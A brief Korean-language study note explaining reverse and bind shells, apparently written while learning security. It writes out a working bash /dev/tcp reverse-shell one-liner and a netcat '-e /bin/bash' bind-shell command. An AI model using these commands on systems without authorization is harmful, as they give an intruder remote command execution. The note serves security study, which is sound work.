Reverse Shell / Bind Shell
- Reverse Shell
- /dev/tcp or /dev/udp 하위 경로에 IP 주소와 포트번호를 적으면 네트워크 연결을 시도하는 bash 의 기능을 사용해 리버스 쉘 업로드
- ex) /bin/bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
- 파이썬과 루비라는 언어의 소켓을 사용해 리버스 쉘 공격 (더 공부하기..)
- Bind Shell
- 버전에 따라 특정 포트에 임의 서비스를 등록할 수 있는 netcat 의 -e 옵션 활용
- ex) nc -nlvp 8080 -e /bin/bash
- Perl 스크립트 사용(더 공부하기..)